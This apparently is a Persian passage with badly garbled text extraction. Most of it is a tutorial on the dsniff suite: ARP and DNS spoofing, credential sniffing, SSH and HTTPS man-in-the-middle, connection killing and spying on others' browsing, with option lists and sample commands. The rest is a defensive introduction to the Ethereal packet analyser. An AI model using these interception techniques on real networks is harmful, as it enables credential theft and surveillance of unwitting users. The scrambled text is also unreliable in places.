 !!!)به من چه اصلا ..... ( این صورت 

  
  . مستقر ميشود usr/local.sbin/این برنامه به صورت پيش فرض در  » ٢نکته  •

  
  :معرفی امکانات موجود در اين مجموعه 

  
ا است      ) نمی دانم چرا   (  بار گفتم    ١٠٠همان طوری که     ن یک مجموعه از ابزاره ه     . ای ه ب سمتهای بعدی مقال ا    در ق ن ابزاره معرفی ای

  :ميپردازیم ليست ابزارها به قرار زیر است 
  

  .Arpspoofابزار  .١
  .DNSSpoofابزار  .٢
  .Dsniffابزار  .٣
  .Filesnarfابزار  .۴
  .Macofابزار  .۵
  .Mailsnarfابزار  .۶
  .Msgsnarfابزار  .٧
  .Sshmitmابزار  .٨
  .TcpKillابزار  .٩
  .Tcpniceابزار  .١٠
  .Urlsnarfابزار  .١١
  .Webmitmابزار  .١٢
  .Webspyابزار  .١٣

  
  !!!خوب همين ها هستند فکر کنم زیادی هم باشند 

  
   :Arpspoof معرفی ابزار -١
  

ردم       شریح ک ه طور کامل ت الا ب ه در ب ه ک ان گون ه از ان       هم اختار هوشمندی ک ل س ه دلي د استراق سمع روی سویيچ های شبکه ب  فراین
  .برخوردار هستند ، مشکل است

ه          د         MAC آدرس  سویيچ رابطی است در شبکه ک ورت های ان را ميدان ه پ ان متصل ب ستم های ميزب ه سي سته ارسالی از    .  کلي ن ب از ای
شود                 از امکان         . طریق سویيچ برای یک سيستم ميزبان به خصوص از شبکه تنها توسط ان ميزبان دریافت مي تم ب ه گف ه ک ان گون ه هم البت

زار   . د سيستم ميزبان مستقر در مقصد به وجود می آید در مورARPاستراق سمع هم وجود دارد که به واسطه جعل پاسخ       ن اب (  خوب ای
Arpspoof (  همين کار را ميکند برای ما) !! جعل پاسخARP.(   

  
ه ای را      Ethernet معادل در یک شبکه        MAC به آدرس    IP در فرایند ترجمه آدرس های       ARPبه خاطر بياورید که پروتکل        نقش پای

ام                    ARPاطب پيغام   از آنجا که مخ   . ایفا ميکند  ور پيغ ستمهای مزب امی سي  ارسالی تمامی سيستم های ميزبان مستقر در شبکه است ، لذا تم
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ام             . ارسال شده را در یافت ميکنند        ه پيغ انی ب ستم ميزب ام                ARPدر این بين فقط سي دل آدرس موجود در پيغ ه آدرسی مع د ک  جواب ميده
  .داشته باشد

  
ام              را   Arpspoofخوب وقتی شما ابزار      ی یک پيغ ادر است       ARPروی رایانه خود پيکر بندی ميکنيد وقت زار ق ن اب د ای  در یافت ميکني

يگم     (  را در مورد اینکه همان سيستم مورد نظر او است قانع کند              ARPارسال کننده پيغام     ن   ) !! حتی به زور هم که شده ، جدی م ه ای ب
ورد        ترتيب سيستم ميزبان رباینده ميزبان ارسال کننده و سوی         يچ شبکه را گمراه کرده و پس از دریافت یک کپی از بسته های اطلاعاتی م

  !!).عجب کار کثيفی . ( نظر ، مانند یک ميانجی ان را برای مقصد واقعی ارسال ميکند
  

  : به صورت زیر می باشد Arpspoofالگوی عمومی استفاده از برنامه 
Arpspoof host_to_snarf_packets_from 

  
ورد نظر          " host_to_snarf_packets_from"  دستور به جای     که در این   سته های اطلاعاتی م ه ب انی ک عنوان یا آدرس سيستم ميزب

  .از آنجا فرستاده ميشود را مينویسيم 
  

 . ميتوان رابطه شبکه مورد نظر را مشخص کردi-با استفاده از گزینه  •
 . به این ترتيب قصد گمراه کردن ان را داریم مشخص کرد ميتوان سيستم های ميزبانی را کهt-با استفاده از گزینه  •

  
ستقر در شبکه     MACبنا به پيش فرض ابزار فوق آدرس  :يک نکته    • ستمهای م ه سي  سيستم ميزبان ارسال کننده بسته اطلاعاتی را برابر با آدرس کلي

ه ترافيک   . ن عمليات روتر پيش فرض شبکه  استبا این حال متداول ترین سيستم ميزبان شبکه جهت هدف قرار دادن در ای       . قرار ميدهد  از آنجا که کلي
یک شبکه جهت انتقال به شبکه دیگر چاره ای جز عبور از روتر ميانجی ندارد ، قرار دادن ان موجب دست یابی به تمامی بسته های اطلاعاتی  ارسال 

يز برای ادامه کار باید به مقصد مورد نظر با یک مکانيزم که خود می دانيد فراموش نکنيد باید بسته ها را ن. شده از یک شبکه به شبکه دیگر خواهد شد
  .بفرستيد 

  
   :DNSSpoof معرفی ابزار -٢
  

ه کمک ای   را به طور کامل تشریح کردم اما به طور خلاصه ،           کاری که این انجام ميدهد       د پاسخ های      ن ب زار می تواني  ارسال  DNS اب
  . را جعل کرد مستقر در شبکهDNSشده از یک سرور 

  
رویس  اطی DNSس ل ارتب ر   User Datagram Protocol از پروتک اده ت ان س ه زب ا ب ا   UDP ی صال ی دون ات ل ب ک پروتک ه ی  ک

Connectionless ۵٣پورت (  است ، جهت انتقال اطلاعات استفاده ميکند.(   
د  یک درخواست برای سرور مربوطه ار) کاربر یا کلاینت    (  در سمت مشتری     DNSبرنامه   . سال ميکند و منتظر در یافت جواب ميمان
از این فعل انفعالات ماشين مزبور چنين ميپندارد که         .  به سادگی یک پاسخ جعلی را برای ماشين کلاینت ارسال ميکند           Dnsspoofابزار  

ان سرور     د جواب خودش را            DNSسيستم ميزبان این ابزار هم شه سعی ميکن زار همي ن اب ورد نظر است ؛ چونکه ای ل از جواب    م قب
DNS    ه در خواست های                    .  واقعی برای طرف بفرستد ورد انتظار کلي ا پاسخ م ادر است ت ينهای    DNSاین ابزار ق يده از جانب ماش  رس

ام              . کلاینت را جعل نماید    ا ن ا       a21با این وجود ميتوان در صورت تمایل با تهيه یک فایل مثلا ب ان ه البی خاص و ذکر اسامی ميزب  در ق
  . سيستم ميزبان این ابزار را تنها شامل حال این سيستم ها نمودIPان فرایند ترجمه اسامی ميزبان ها به آدرس مورد نظر در 

  
  :شکل عمومی دستور در این برنامه به صورت زیر است 

Arpspoof host_to_snarf_DNS_from 
  

ستم مي      " host_to_snarf_DNS_from" که در این دستور به جای        ورد نظر از               عنوان یا آدرس سي سته های اطلاعاتی م ه ب انی ک زب
  .آنجا فرستاده ميشود را مينویسيم 

  
 .را مشخص کرد) مورد استفاده در عمليات (  ميتوان رابطه شبکه مورد نظر i-با استفاده از گزینه  •
ای       ميت) یا مشابه ان با هر اسم دیگری         ( a21 می توانيد با در دست داشتن فایل         f-با استفاده از گزینه      • ه اسامی ميزبانه وانيد کلي

 . بر روی ان مستقر است ترجمه گرددDnsspoof سيستمی که ابزار IP به آدرس a21ذکر شده در فایل 
  
   :Dsniff معرفی ابزار -٣
  

اق سمع  این ابزار یک برنامه استر ). من را ببخشيد  (  رذالت است     اند این ابزار مافوق خفن و البته شيطانی و کثيف و آخر پست بودن و             
  .پيشرفته جهت دستيابی به کلمات عبور است
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 POP (  ،IMAP ، HTTPهمان  ( Telnet ، FTP ، Post Office Protocolاین ابزار قادر است از پروتکل های مختلف از جمله 

 ،CVS ، Citrix ، SMB ، Oracle بالا آورده ام ليست کامل پروتکل ها را در ( کلمات عبور را کشف و البته ضبط کند ....  و (.  
  

رار          دیگراین است که ابزار    دیگر ابزارها   فرق این ابزار با      ار ق سته های اطلاعاتی در اختي اره اتصال و ب وهی از اطلاعات را درب  انب
ين درد ميخورد و بس             Dsniffميدهد اما ابزار   ه هم م ب ط ه د ، و فق ا ميده ه م ور را ب ه عب اربری و کلم خی شو  ( !!! فقط تر تميز نام ک

  ) .کردم 
  

وع            :نکته  • د در یک بانک اطلاعاتی از ن ره اطلاعات مفي ابی و ذخي ا جهت دست ی  طراحی و  Berkeley DB این ابزار تنه
 .توسعه یافته است

  :گزینه های  قابل استفاده در این برنامه عبارتند از 
  

  توضيح عملکرد گزينه  گزينه  
  
١  

 
-c 

  
معتبر باشد   ) half-duplexاصطلاحا (  تنها در یک جهت   TCPریان  استفاده از این گزینه باعث ميشود تا ج       

زار             ری از اب راه                  Arpspoofبه گونه ای که هنگام بهره گي شتری هم ا صحت و دقت بي د استراق سمع ب  فراین
  .شود

  
٢   

-d 
  

  . ميشودDsniffابزار  ) Debug( استفاده از این گزینه موجب فعال شدن حالت اشکال زدایی 
  

٣   
-f<file> 

  
به کمک این گزینه ميتوان مشخصات سرویس های مورد نظر را ، جهت دست یابی به کلمات عبور مربوطه ،   

  . قرار دادDsniff بار گذاری نمود و در اختيار ابزار etc/services/از درون یک فایل با قالبی شبيه به قالب 
  

۴   
-i <if> 

  
  . را جهت شرکت در عمليات مشخص کردبه کمک این گزینه ميتوان رابط شبکه به خصوصی

  
۵   

-m 
  

ل       ه        dsniff.magicاستفاده از این گزینه موجب بهره گيری از فای ا توجه ب ار پروتکل ب شخيص خودک  جهت ت
  .مشخصات تعریف شده در فایل مزبور  خواهد شد

  
۶   

-n 
  

  .استفاده از این گزینه موجب صرف نظر از نام ميزبان ميشود
  

٧   
-r <file> 

  
رار داد                         ازخوانی ق ورد ب ه  ( با استفاده از این گزینه ميتوان داده های ذخيره شده طی جلسات قبل را م  ١٠گزین

  )را ببينيد 
  

٨   
-s <len> 

  
 بایت از بسته اطلاعاتی  <len>بهره گيری از این گزینه موجب ميشود تا در بيشترین حالت ممکن تعداد اولين  

د          گز. موجود مورد توجه قرار بگيرد     ور بع ه عب ینه مزبور در صورتی که اطلاعات مربوط به نام کاربر و کلم
  . بایت اول ذکر شوند مفيد واقع می شود١٠٢۴از 
  

٩   
-t <trigger> 

  
ور را در قالب                              ه کلمات عب تيابی ب از جهت دس ورد ني به کمک این گزینه می توان مجموع از مشخصه های م

ا از یکدیگر        لازم  .  ذکر کرد  port/proto=serviceکلی   ا علامت کام ين مجموعه ای را ب است تا اعضای چن
  :برای نمونه به فرمان زیر توجه کنيد . جدا کنيد

Dsniff  -t  23 /tcp=telnet , 21/tcp=ftp , 110/tcp=pop3 
  

  . مورد استفاده قرار ميگيردpop3 و ftp و telnetبه منظور دستيابی به کلمات عبور جلسات * 
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١٠ 

 
-w <file> 

  
تفاده های بعدی       ه  ( با استفاده از این گزینه می توان اطلاعات حاصل از عمليات استراق را به منظور اس گزین

  .در یک فایل باینری ذخيره نمود)  را ببينيد ٧
  

  !!!!!!خوب کاربرد  با خودتان البته فکر ميکنم همه مطالب را گفته ام 
  
   :Filesnarf معرفی ابزار -۴
  

ا اصطلاحا    ( Network File System ميتوان در استراق سمع ترافيک ناشی از سرویس   TCPDumpاز ابزار  ره    ) NFSی ز به ني
ه                    Filesnarfابزار  . گرفت د استراق سمع ب ق شبکه را طی یک فراین ال از طری ل در حال انتق  به خوبی قادر است قطعات مختلف فای

د          ه ا  . دست آورده و ان فایل را مجددا بازسازی نمای ق سرویس                ب ه از طری اربری ک ن ترتيب هر ک ر روی         NFSی ل ب ال فای ه انتق دام ب  اق
ه خروجی                  Filesnarfشبکه نماید ،     تيابی ب ی در صورتی امکان دس د داد ، حت رار خواه ار شما ق ی از ان را در اختي  در NFS یک کپ
  .اختيار نباشد

  
 .را مشخص کرد) فاده در عمليات مورد است(  ميتوان رابطه شبکه مورد نظر i-با استفاده از گزینه  •
 . ميتوان الگوی دست رسی فایل ها را معکوس کردv-با استفاده از گزینه  •

  
  :را شکل دستور به این صورت ميشود ... گزینه دوم موقعی بدرد ميخورد که ما مثلا یک سری فایلها را نخواهيم مثلا فایلهای صوتی و 

  
Filesnarf -v "*.mp3" 

  . با هر نامی را نادیده ميگيرد MP3فایلهای که با این دستور 
  
   :Macof معرفی ابزار -۵
  

ورد آدرس                               صادفی در م ه واسطه ارسال در خواستهای مکرر و ت يش از حد در شبکه ب  MACاین ابزار با ایجاد شلوغی و اغتشاش ب
ه یک              سيستم های ميزبان ، موجب از کار انداختن عملکرد سویيچ ميانجی در شبکه ميشود به طور                بيه ب ور عملکردی ش  که سویيچ مزب

  . و موفقيت بيشتر در عمليات استراق سمع شبکه حاوی سویيچ هموار ميشودDsniffبه این ترتيب راه برای . هاب ساده پيدا ميکند
  

گيری از گزینه    تصادفی نموده و با بهره       MAC با آدرس    TCP/IP می توان اقدام به ایجاد ترافيک تصادفی         Macofبا استفاده از ابزار     
  .های سطر فرمان این برنامه می توان قابليت های عملياتی ان را افزایش داد

  
 .را مشخص کرد) مورد استفاده در عمليات (  ميتوان رابطه شبکه مورد نظر i-با استفاده از گزینه  •
 .شود مبدا و مقصد استفاده ميIP به ترتيب جهت تعيين آدرس d- و s-با استفاده از گزینه های  •
 .  برای تعيين پورت های مبدا و مقصد y- و x-با استفاده از گزینه های  •
 .  برای تعيين یک آدرس سخت افزاری به عنوان یک هدفe-با استفاده از گزینه  •
 .  جهت تعيين تعداد بسته های ارسالی حاصل از بازسازی مجدد فيل مورد بهره برداری قرار ميگيردn-با استفاده از گزینه  •

  
   :Mailsnarf معرفی ابزار -۶
  

 نيز توانایی شگفت     Mailsnarf است ، ابزار     NFS قادر به بازسازی فایلهای ارسالی از طریق سرویس          Filesnarfهمانگونه که ابزار    
  . داردPOP و SMTP ارسالی از طریق پروتکل E-mailانگيزی در بازسازی 

ده را در قالب اس ابی ش ام ای بازی ه پيغ زار کلي ن اب دMboxتاندارد ای ره ميکن ای تحت .  ذخي ه ه ری از برنام ره گي ا به ن ترتيب ب ه ای ب
ام های         Pine و   Muttیونيکسی هم چون     از خوانی پيغ ه منظور ب ه ب وان      E-mail و یا هر برنامه دیگری ک  طراحی شده باشد ، می ت

ه            Filesnarf دقيقا مشابه ابزار     گزینه های سطر فرمان این ابزار     . محتوای این پيغام ها را مورد مشاهده قرار داد         ه ب ن ک  است ، جزء ای
  ). به منظور تطبيق هدر و بدنه پيغام استفاده ميشود regular expression( جای تعيين الگوی دسترسی فایل از یک عبارت منظم 

  
   :Msgsnarf معرفی ابزار -٧
  

  .سته های اطلاعاتی طراحی شده است نيز جهت ربودن بMsgsnarf ، ابزار snarf*مشابه سایر ابزارهای گروه 
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وان الگوی        . را به راحتی برباید    ) Chat( این ابزار قادر است تا پيغام های رد بدل شده در گپ زنی               نظم ميت ارت م با استفاده از یک عب
ن       Passwordبرای مثال ميتوان ترتيبی داد تا پيغام هایی که شامل واژه             . عمومی پيغام های مورد نظر را مشخص کرد         هستند توسط ای

  .ابزار مورد دست یابی قرار بگيرد
  
  
   :TcpKill معرفی ابزار -٨
  

و تزریق ان به  ) resetبه نشانه  ( RST موجود را به واسطه ساخت یک بسته اطلاعاتی   TCPبه کمک این ابزار می توان یک اتصال         
  . مزبور به کلی نابود کرد TCPاتصال 

  
 .را مشخص کرد) مورد استفاده در عمليات (  رابطه شبکه مورد نظر  ميتوانi-با استفاده از گزینه  •
شان                  ٩ تا   ١با استفاده از یک عدد صحيح بين         •  می توان ميزان تلاشی که این ابزار جهت از بين بردن یک اتصال باید از خود ن

رد         ر از تخریب ا              . ( دهد را می توان مشخص ک ه مراتب مشکل ت الا ب ا سرعت ب ه از    تخریب یک اتصال ب تصالاتی است ک
 . ميباشد٣پيش فرض این گزینه عدد ) سرعت پایين تر برخوردار است 

  
   :Tcpnice معرفی ابزار -٩
 

 امکان لازم جهت کند کردن اتصال را به ميزان لازم         Tcpniceابزار  .  نياز نباشد  TCPدر مواردی ممکن است به تخریب کامل اتصال         
شنده    . ین ابزار مثل ابزار بالایی است      گزینه های ا  . در اختيار قرار می دهد      و RSTدر این ابزار به جای تزریق بسته های اطلاعاتی ک

شود   <n <increment-تعيين ميزان جدیت در فرایند تقریب ، از گزینه   تفاده مي  به منظور تعيين ميزان کند کردن اتصال مورد نظر اس
ی  ٢٠ مقدار پيش فرض بوده و عدد  ١در این ميان عدد     . ست   تعيين کننده چنين شاخصی ا     increment؛ مقدار متغيير      نيز بيشترین ميزان

ورد                          Tcpniceابزار  .  است که می توان اتصال را کند کرد        ان م ستم ميزب ه سي زان داده های ک اهش مي ا ک د کردن اتصال را ب  فرآیند کن
  .نظر قادر به دریافت ان است تنظيم ميکند

شترین حجم اطلاعات                 TCPپنجره   ، که به اندازه      TCPبخشی از هدر     ا بي د ت  مربوط است ، به سيستم های ميزبان این اجازه را می ده
د    رل را مشخص کنن زار  . قابل کنت ه             Tcpnice اب سته های اطلاعاتی در برنام ر سازی ب ارات فيلت ر عب اراتی نظي ری از عب ره گي ا به ب

TCPDump             رار مي دازه پنجره          ترافيک مورد نر را تشخيص و مورد استراق سمع ق ال ان ان ه دنب د و ب دار لازم    TCPده ه مق ز ب  را ني
  . به راحتی ميتوان ميزان کوچک نمای پنجره مزبور را کنترل کردn-با استفاده از گزینه . کاهش ميدهد

سرعت اتصال   از ارسال بيش از اندازه داده ها خود داری کرده و لذا             TCPبه این ترتيب سيستم ميزبان موجود در سمت  دیگر اتصال              
 می توان اقدامی را به منظور جعل پاسخ   I–جهت دامن زدن به وضعيت پيش آمده ، با بهره گيری از گزینه    . به خودی خود کاهش ميابد    

ICMP                                      ده ان دریافت کنن ه ميزب د ک ان کن ين گم ده چن ستقر در سمت ارسال کنن ان م ستم ميزب ا سي ده صورت داد ت  در سمت دریافت کنن
د  TCPچنين اقدامی موجب کاهش مضاعف سرعت اتصال        . بيش از اندازه داده های دریافتی روبه رو شده است         اطلاعات با حجم      خواه

  .شد
  

   :Urlsnarf معرفی ابزار -١٠
  

زار                 ه اب ه آدرس های                Dsniffعملکرد این ابزار مشابه  سایر ابزارهای موجود در جعب ن اختلاف ک ا ای اثير      URL است ، ب  را تحت ت
 را در قالب فایلی به منظور مراجعات بعدی         HTTP ربوده شده از یک ترافيک       URL کليه آدرس های     Urlsnarf ابزار   .قرار می دهد  
ر روی وب          . ثبت می نماید  ذار ب ام گشت و گ ه هنگ ی ب اربران یک شبکه محل با وجود این ابزار به راحتی می توان آدرس های را که ک

  .مورد مراجعه قرار ميدهند مشاهده کرد
  

   :Sshmitm معرفی ابزار -١١
  

ه       . این ابزار به واقع باید خفن ترین و البته خطرناک ترین ابزار موجود در این مجموعه دانست                  ا اجرای برنام ه منظور     Dnsspoofب  ب
ر مسير ترافيک      )  است  SSH Monkey in the Middleکه عنوان کوتاه شده  ( Sshmitmجعل اسامی ميزبان ، ابزار  ه تغيي ادر ب ق

SSHبه سمت ماشين ميزبان این ابزار خواهد بود  .  
  

ن دو است                        ( برسی مکانيزم این ابزار      ين ای ه ب ه علت فاصله ای ک ی ب الا آورده ام ول انيزم را در ب البته من به طور کامل تشریح این مک
  :) یک یادآوری اجمالی را لازم دیدم 

  
د  )  از یک ماشين به ماشين دیگر SSHل تغيير اتصا ( SSHاین ابزار امکان لازم جهت ربودن اتصال        رار ميده ن   .را در اختيار ق ه ای ب

ه          ا برنام ورت   Sshmitmترتيب کافی است ت ر روی پ ه  ترافيک         ٢٢ را ب د ک دی کني ه ای ان را پيکر بن رد و بگون ستقر ک ه  SSH م   ب
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رای  ) .  را مشخص نمودSshmitmبان ابزار  به راحتی ميتوان پورت ميز    p-با استفاده از گزینه     . (سمت ميزبان مورد نظر هدایت کند      ب
  :روشن شدن این مطلب به این سناریوی کوتاه زیر توجه فرمایيد 

ه   orginix را جهت معرفی سيستم ميزبان مورد استفاده خود به عنوان سيستم ميزبانی با نام  Dnsspoofفرض کنيد برنامه     ار گرفت  به ک
وده و آدرس        . ایم   ه کذب محض ب ستم  IP این ادعا البت ارت است از   orginix سي ا آدرس   ١٩٢٫١۶٨٫١٫١٠٠ عب ه ب ان   IPک ستم ميزب  سي

وع    Some hostاز این رو هنگامی که سيستم ميزبانی از شبکه با نام .  متفاوت استDnsspoofبرنامه  صالی از ن راری ات  اقدام به برق
SSH با سيستم orginix به این ترتيب با اجرای فرمان زیر . ما برقرار ميگردد ميکند، این اتصال با سيستم ميزبان مورد استفاده:  

  
Sshmitm –p 22 192.168.1.100 22 

  
  . ربودSome host واقعی از سيستم ميزبان orginix را پيش از ارسال ان به SSHمی توان ترافيک 

  
ان      کليدهای مورد نياز جهت رمز SSHاما به واسطه این عمل چه چيز عاید ما ميشود؟ هنگامی که        ستم ميزب رای سي ا را ب گذاری داده ه

Some host ارسال ميکند ، ابزار Sshmitm   د ایگزین ميکن ا را ج .  این کليد ها را از سيستم ميزبان به سرقت برده و کليد مورد نظر م
  .به این ترتيب امکان رمز گشای کليه اطلاعات رد بدل شده حين اتصال وجود خواهد داشت

  
   :Webmitm معرفی ابزار -١٢

  
زار          انيزم                       Sshmitmعملکرد این ابزار بسيار شبيه عملکرد اب ه جای مک ار ب ن ب ه ای اوت ک ن تف ا ای ا       SSH است ، ب انيزم دیگری ب  مک

ره  ).  مجهز شده است    SSL یا اصطلاحا Secure Sockets Layerترافيک ناشی از وب که به مکانيزم امنيتی  ( HTTPSعنوان  به
زار      ستل  Webmitmگيری از اب وان           م ا عن زار دیگری ب تفاده از اب م       Dnsspoofزم اس رار دادی ورد بررسی ق شتر ان را م ه پي .  است ک

ه   Sshmitmمشابه ابزار  وان واسطه     SSL ، در این مورد نيز از یک گواهينام ا عن ی ب وم  (  جعل  ") monkey in the middle" مفه
ه         .  می شود  جهت رمز گشایی کليه داده های رد بدل شده در جلسات وب استفاده             امی است ک ه پيغ اربر توجه ب در این مورد تنها شانس ک

د                         ایش ميده . برنامه مرور گر وب مورد استفاده وی ، درباره تغيير گواهی نامه وب سایتی که کاربر مزبور در حال مشاهده ان است نم
ر               ی ب ار گشت زن ه ک ه و ب ده گرفت ام را نادی ن پيغ د      در صورتی که کاربر مزبور به سادگی ای ی در رون د هيچ اختلال ه ده  روی وب ادام

زار      . عمليات این ابزار به وجود نمی آید         ورد ترافيک ناشی از پروتکل            Sshmitmمشابه عملکرد اب زار  SSH در م  Webmitm ، اب
  . موجود در قالب را در اختيار ما قرار ميدهدHTTPSنيز امکانات لازم جهت استراق سمع ترافيک 

  
   :Webspy معرفی ابزار -١٣

  
ا هدف استراق    Webspyآخرین ابزار مورد برسی از این جعبه ابزار ، ابزاری است با عنوان     که مشابه سایر ابزارهای این مجموعه ب

زار   IPبا تعيين آدرس    .سمع اطلاعات جاری در شبکه طراحی شده است          ا     Webspy سيستم ميزبانی از شبکه محلی ، اب ا ب ادر است ت  ق
وق آدرس          .  وب گسيل شده از ان سيستم بپردازد         استراق سمع ترافيک   ان ف ستم ميزب ورد   URLبه محض این که سي  خاصی از وب را م

رد               Webspyدستيابی قرار می دهد، برنامه       د ک ه          .  نيز همان آدرس را بر روی مرور گر شما بار گذاری خواه ا برنام افی است ت ا ک تنه
افتی توسط دوستان       . ه اجرا در آورید بWebspyمرور گر وب را پيش از فعال  کردن ابزار   ناد وب دری د از اس به این ترتيب می تواني

  . خود براحتی مطلع شوید 
  
  

  .با کمی مبالغه می توان گفت این که این بارز ترین نمونه تاخت تاز بر محرمانه ترین رفتار کاربران است
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 Etherealآموزش ابزار استراق سمع 

  

  امداد امنيت کامپيوتر ایران برداشته شده است این بخش از سایت 

  

  Etherealی  توان در دسته را می  که آن ؛باز و رایگان است- ابزاری کدSniffer هایش،  افزار با توجه به ویژگی این نرم. ها جای داد
زمان نسبتاً زیادی از معرفی آن، ترین ابزارهای آناليز ترافيک شبکه است، هرچند که در حال حاضر، با وجود گذشت  یکی از متداول

گاه   است که از پای0.10.4ی تست قرار داشته و در زمان نگارش این مطلب آخرین نگارش آن نگارش  هنوز در مرحله
com.ethereal.wwwتوانيد از همين آدرس  افزار را نيز می این نرم )کد منبع  ( لازم به ذکر است که سورس.  قابل دریافت است

 .دریافت کنيد

کند، لذا  ها استفاده می  برای دریافت اطلاعات بستهWinpcapی  ، پس از نصب، از کتابخانهWinDumpافزار نيز مانند   این نرم    
ها و  ه شد این بسته امکان دریافت بستهطور که گفت همان.  را نصب کنيدWinpcapافزار  ی نرم ، آخرین نسخهEtherealپيش از نصب 

  . کند ، فراهم میWindowsعامل  ها را، تحت سيستم استخراج اطلاعات از آن

کنيم ابتدا قسمت اول  نهاد می را دارید، پيش) هاSniffer(افزارها   اگر برای اولين بار است که قصد نصب و کار با این دسته از نرم    
  .ها پرداخته است، مطالعه کنيدSnifferیی در باب   ارا، که به مقدمه WinDumpی مربوط به  مقاله

     Etherealیی از یک   ا، به عنوان نمونهSniffer ی  ها های رد و بدل شده بر روی لایه ثبت رخدادها، اطلاعات و بسته ، وظيفه
های اطلاعاتی مربوط به  توان بسته  آنها، میی های در حال انتقال بر روی شبکه و تجزیه با ثبت داده. شبکه را بر عهده دارد

افزارها  گونه که در معرفی این دسته از نرم همان. های متفاوت را از یکدیگر تفکيک نمود و ارتباطات مجزا را شناسایی نمود پروتکل
ی به منابع شبکه و نفوذ به آن و یا یاب های پياپی برای دست توانند به شناسایی ارتباطات خطرناک، تلاش ها، می گفته شد، این قبيل تحليل

افزارها به   دسته از نرم با این وجود از آنجاکه خروجی این. انجامد افزارها فعال بر روی شبکه، بی افزارها و سخت از کار انداختن نرم
عموماً توسط متخصصين شبکه انجام ها  ها و تحليل گيری گونه نتيجه اند که کاربران عادی قادر به تحليل آنها نيستند، لذا این حدی پيچيده

  .پذیرد می

شود   ارایه میSolaris و Windows ،Linux )یا به زبان ساده تر سيستم عامل  (  بر روی سه بستر اصلیEtherealافزار   نرم    
  .  آن استWindowsی تحت  کنيم، نسخه یی که ما بررسی می  اکه نسخه

  :های زیر تقسيم کرد  توان به بخش وماً میهای این دسته از ابزارها را عم توانایی

  .گردند یی که توسط ابزار شناسایی شده و تفکيک می  اهای شبکه ها و انواع رابط انواع پروتکل - 

  .سازی خروجی برداشت و تحليل اطلاعات شبکه های ذخيره ها و قالب روش -

  .مشابه دیگرهای  Snufferافزارهای  امکان بازخوانی اطلاعات ذخيره شده توسط نرم -

  .های مختلف امکان استفاده از فيلتر برای پروتکل -

  .های عامل متنوع ها و سيستم قابليت نصب بر روی محيط -

   

هایی است که اغلب برای کاربران  ی رابط کاربری، نيز یکی دیگر از قابليت های ویژه افزار، به عنوان قابليت گی کار با نرم  البته ساده   
  .یی دارد  ایی و مبتدی اهميت ویژه  اهحرف نيمه
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  :بندی نمود  توان به شرح دسته بندی فوق، می  را، با توجه به تقسيمEtherealهای خاص   قابليت   

   

  ی متنوع  های شبکه  ها و رابط  شناسايی پروتکل-      

افزار قدرتی ویژه  ها به این نرم این پروتکلتنوع .  نوع پروتکل مجزا را دارد۵٠٠افزار قابليت شناسایی حدود   این نرم   
  .بخشيده است

-Ethernet ،FDDI ،Tokenهای فعال ارتباطات  افزار قابليت دریافت اطلاعات بسته  از باب ارتباطات نيز این نرم   
Ring ،IEEE 802.11 ،IP over ATMهای   و رابطloopbackرا دارد .  

   

  سازی اطلاعات  ذخيره-

    Etherealهای  های خروجی قابل ویرایش در قالب ا ایجاد فایل بlippcap(tcpdump) ،Sun snoop ،Microsoft 
Network Monitor و Network Associate Snifferشود مند محسوب می سازی اطلاعات نيز ابزاری قدرت  از نظر ذخيره.   

   

  های ديگر افزارها و سيستم  سازگاری با خروجی نرم-

    Etherealافزارهای مشابه دیگری همچون  های اطلاعاتی نرم بليت بازخوانی پرونده قاTCPDump ،NAI’s Sniffer 
& Sniffer Pro ،NetXray ،MS Network Monitor ،Novell LANanalyser ،Cisco Secure IDS iplog و 

  .غيره را دارد

   

   فيلترها-

ها، در بسياری از حالات امکان استفاده  آوری شده از بسته ات جمع این ابزار، با محدود سازی روش دریافت و تحليل اطلاع   
ها در ميان  وجوی بسته توان به جست در عين حال با استفاده از این فيلترهای می. دهد از فيلترهای پرقدرتی را به کاربر می

  .اطلاعات ذخيره شده نيز پرداخت

   

  ها رابط کاربری  قابليت-

يير روش نمایش اطلاعات بسته به فيلتر انتخاب شده، منو های متنوع و دیگر امکانات رابط های متنوع برای تغ  رنگ   
افزار به آنها اشاره خواهيم کرد، به تحليل و  ها آتی در حين معرفی چگونگی استفاده از این نرم کاربری، که بيشتر در بخش

یی  حرفه یی برای کاربران مبتدی و نيمه بليت جذابيت ویژهطور که ذکر شد، این قا همان. کند ها کمک شایانی می شناسایی بسته
  .دارد

   

  .هایی در این باب خواهيم پرداخت ی مثال افزار و ارایه های استفاده از این نرم  بعد به بررسی مقدماتی روش  در بخش   

افزارهای این دسته  ترین نرم  قدرتمندترین و  یکی از معروفEtherealها، که  Snifferبندی در مورد   جمعارائه، ضمن بخش اولدر 
های مختلف و  افزار بر اساس جنبه های این نرم بررسی قابليت. افزار اشاره کردیم ی این نرم های برجسته ست، به ویژگی ااز ابزارها

 .گيرد متنوعی صورت گرفت که در مورد این دسته از ابزارها مد نظر قرار می
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 :دهد افزار پيش از شروع عمليات را نشان می نرم شکل زیر، رابط کاربری این     

  

 است، Linuxهای عامل  های گرافيکی متداول سيستم افزار بسيار شبيه به رابط کنيد، رابط کاربری این نرم گونه که مشاهده می  همان   
  .GNOME و KDEهایی همچون  محيط

های  های ذخيره شده در قالب های مختلف درون فایل ذخيره کرد یا فایل بتوان خروجی عمليات انجام شده را در قال  در منوی فایل، می  
 .افزارهای گوناگون، را باز کرد و تحليل نمود مختلف، ایجاد شده توسط نرم

   

دهد  ی مربوط به این منو را نشان می شکل زیر صفحه. گيرد  صورت میCaptureافزار با استفاده از منوی  کرد این نرمل شروع عم   
:  
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تواند به  این رابط شبکه می. شود گيرد مشخص می ها بر روی آن انجام می یی که عمليات دریافت بسته  ا در قسمت بالا، رابط شبکه   
توان به بررسی وضعيت ارسال و دریافت  افزارهایی، می به عبارت دیگر توسط چنين نرم. ارتباط مودم ما با اینترنت نيز اشاره کند

تواند اطلاعات  خروجی این عمليات می. گان سرویس اینترنت نيز پرداخت ه کنند  هئها و ارا ها در ارتباطات ميان مودم يل آنها و تحل بسته
 .مفيدی از حملات احتمالی در حال انجام به سيستم ما را نشان دهد

گيرد و همچنين شرایط که در صورت  قرار میها  های دریافت شده در آن های دیگر این صفحه شامل تعيين نام فایلی که بسته  قسمت    
کند که   را تعيين میCaptureهای مهم عمل  گی سمت راست این صفحه نيز یکی از ویژه. پذیرد  خاتمه میCaptureها عمل  حصول آن

دهد، عمل دریافت و  که اطلاعات جامع و مفيدی را در اختيار ما قرار می این عمل، ضمن آن. ها در شبکه است تعيين نام مترادف آدرس
  .کند ها را کند می آوری بسته جمع

